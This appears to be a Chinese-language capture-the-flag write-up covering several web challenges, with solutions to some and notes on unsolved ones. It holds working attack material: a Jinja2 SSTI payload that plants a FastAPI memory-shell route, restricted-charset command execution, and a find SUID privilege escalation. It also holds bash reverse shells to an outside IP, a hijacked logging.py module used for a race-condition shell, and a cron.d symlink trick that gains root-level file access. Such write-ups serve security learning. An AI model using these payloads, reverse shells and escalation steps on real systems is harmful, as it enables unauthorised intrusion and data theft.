前言
web专场(x
提权专场(√
EncirclingGame
小游戏
GoldenHornKing
fastapi + 内存马
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
访问openapi.json获得接口列表
{
"openapi": "3.1.0",
"info": {
"title": "FastAPI",
"version": "0.1.0"
},
"paths": {
"/": {
"get": {
"summary": "Index",
"operationId": "index__get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/calc": {
"get": {
"summary": "Ssti",
"operationId": "ssti_calc_get",
"parameters": [
{
"name": "calc_req",
"in": "query",
"required": true,
"schema": {
"type": "string",
"title": "Calc Req"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
}
},
"components": {
"schemas": {
"HTTPValidationError": {
"properties": {
"detail": {
"items": {
"$ref": "#/components/schemas/ValidationError"
},
"type": "array",
"title": "Detail"
}
},
"type": "object",
"title": "HTTPValidationError"
},
"ValidationError": {
"properties": {
"loc": {
"items": {
"anyOf": [
{
"type": "string"
},
{
"type": "integer"
}
]
},
"type": "array",
"title": "Location"
},
"msg": {
"type": "string",
"title": "Message"
},
"type": {
"type": "string",
"title": "Error Type"
}
},
"type": "object",
"required": [
"loc",
"msg",
"type"
],
"title": "ValidationError"
}
}
}
}
定义了这几个api路径:
/
:根路径,get方法
/calc
:ssti,参数calc_req
那就很明显是要ssti了,参考https://medium.com/dsf-developers/how-to-handle-an-ssti-vulnerability-in-jinja2-58242e561d4f
但是这里的waf:if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access
- 检查
calc_req
中是否包含数字字符 - 检查
calc_req
中是否包含%
字符 - 检查
calc_req
中的字符是否不是ASCII字符 - 检查全局变量
access
是否为真
影响不大,本地测试的payload
self.__init__.__globals__.__builtins__.__import__('os').popen('calc')
能弹计算器
接下来由于ban掉了数字,不好弹shell,应该是要打内存马,在fastapi的依赖中找到add_api_route
这个方法,然后构造我们的匿名函数(也就是对应了题目描述的“举一反三”,诶前两天刚学的flask内存马这就派上用场了)
self.__init__.__globals__.__builtins__['eval']("app.add_api_route('/cmd',lambda+:__import__('os').popen('calc').read())",{"app":self.__init__.__globals__['sys'].modules['__main__'].__dict__['app']})
最终的payload:
self.__init__.__globals__.__builtins__['eval']("app.add_api_route('/cmd',lambda+:__import__('os').popen('cat${IFS}/flag').read())",{"app":self.__init__.__globals__['sys'].modules['__main__'].__dict__['app']})
admin_Test
linux命令构造 + find提权
dirsearch扫,直接扫出admin.html,进去发现是个文件上传接口
fuzz了一下发现只有t,/
,.
,*
和空格不会被ban
接下来凑命令执行
/*
# bin目录
/*/*
# [
/*/t*
# tabs
/*/*t
# addpart
/t*
# tmp目录
/*t
# boot目录
找不到啥有用的命令,但是注意到给了个文件上传肯定不是白给的,猜测文件只是传到了/tmp下
于是尝试上传sh脚本并执行
. /t*/*
upload.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_FILES['file'])) {
$target_dir = "uploads/";
if (!file_exists($target_dir)) {
mkdir($target_dir, 0777, true);
}
$random_name = md5(uniqid(mt_rand(), true));
$target_file = $target_dir . $random_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
echo "upload successfully<br>";
} else {
echo "upload error, but you can try another way<br>";
}
}
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (preg_match('/^[\.\/\*t ]+$/', $cmd)) {
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
} else {
echo "Invalid char";
}
}
if (isset($_POST['reset']) && $_POST['reset'] == 'true') {
$tmp_dir = '/tmp/';
$files = glob($tmp_dir . '*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
echo "环境已重置";
}
}
?>
login.php
<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$valid_username = 'admin';
$valid_password = 'qwe123!@#';
if ($username === $valid_username && $password === $valid_password) {
$_SESSION['loggedin'] = true;
$_SESSION['username'] = $username;
header('Location: admin.html');
exit;
} else {
echo '<script>alert("Invalid username or password.");window.location.href="index.html";</script>';
}
} else {
header('Location: index.html');
exit;
}
?>
拿着这个账密登录,没啥用
那就回来提权
find / -perm -u=s -type f 2>/dev/null
可以find提权
find . -exec /bin/sh -pc "cat /flag" \; -quit
php_online(复现)
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')
@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)
return result
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)
审计测试发现是一个执行任意php代码的沙盒环境
直接看到执行php代码的命令这里:
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
以一个低权限执行php文件,这个时候想到能不能对 user_id 命令注入,但是前面有限制:
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
所以不可能直接改id来注入,当然我们也注意到这里是用 session 存 user_id 的,而 key 是secrets.token_hex(16)
那么接下来的思路是session伪造,想办法获取key,直接用php写py文件导入index.py来获取key
<?php system('echo "import sys\nsys.path.append(\"/app\")\nimport index\nprint(index.app.secret_key)">2.py && python3 2.py');
得到key:09497afbba5c8dbca6c05b313f712cdf
,但是发现这个key每次执行都会变,因为是secrets.token_hex(16)
看来session伪造也行不通,总之先弹个shell
<?php system('bash -c \'bash -i >& /dev/tcp/115.236.153.177/30908 <&1\'');
注意到文件夹下有个意义不明的init.py
import logging
logger.info('Code execution start')
看一下哪来的
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
从app下cp来的,会以 www-data 的权限运行一次init.py
那么只要我们能够在用户 AAAAAAAA 这里劫持用户 BBBBBBBB 的 logging 库,写入弹shell的命令,然后通过和 BBBBBBBB 执行php时的rm *
竞争就能让上面这个语句执行 www-data 权限的弹shell
那么先准备两个user,然后在 AAAAAAAA 的shell这里写入 logging.py
echo -e "import os,sys;os.system('bash -c \'bash -i >& /dev/tcp/115.236.153.177/12944 <&1\'')">../bbbbbbbb/logging.py
接下来在 BBBBBBBB 那里重复发包执行python3 init.py
进行条件竞争
最终成功弹到 www-data 的shell
接下来要提root权限
这里使用计划任务/etc/cron.d
,ln -s
建立 user_id 到计划任务的软链接,这样子phpcode的内容就成计划任务了
ln -s /etc/cron.d /sandbox/cccccccc
然后来到 cccccccc 用户这里,在php的代码框里输入我们设置的计划任务,因为计划任务每分钟更新一次所以我们让php脚本延迟一分钟再被删掉
* * * * * root chmod 777 /flag
#<?php sleep(60);
把 /flag 设置为可读,等一分钟过后就可以了
伽玛实验场_tpcms01(Unsolved)
导入数据库,我用小皮起的数据库环境,需要先注释掉sql文件里第一行的创建数据库
mysql -u qwadmin -p qwadmin < db.sql
数据库里拿到本地管理员的账号admin
和md5后的密码21232f297a57a5a743894a0e4a801fc3
(爆出来是admin)
但是远程账密不对
没时间审tp
bio_share(Unsolved)
admin’s bio is what u want, but admin will not share it to u.Login as test or test2, with the same password 123456a@b, Admin will visit this application using www.test.com
server {
listen 80;
server_name _;
location / {
root /app/static;
try_files $uri $uri/ =404;
}
location /login/ {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Origin http://127.0.0.1:8000;
}
location ~* ^/static/ {
return 302 $scheme://$http_host/forbidden.html?page=$uri;
}
location /api/ {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
用给的账密登录上去,看起来是xss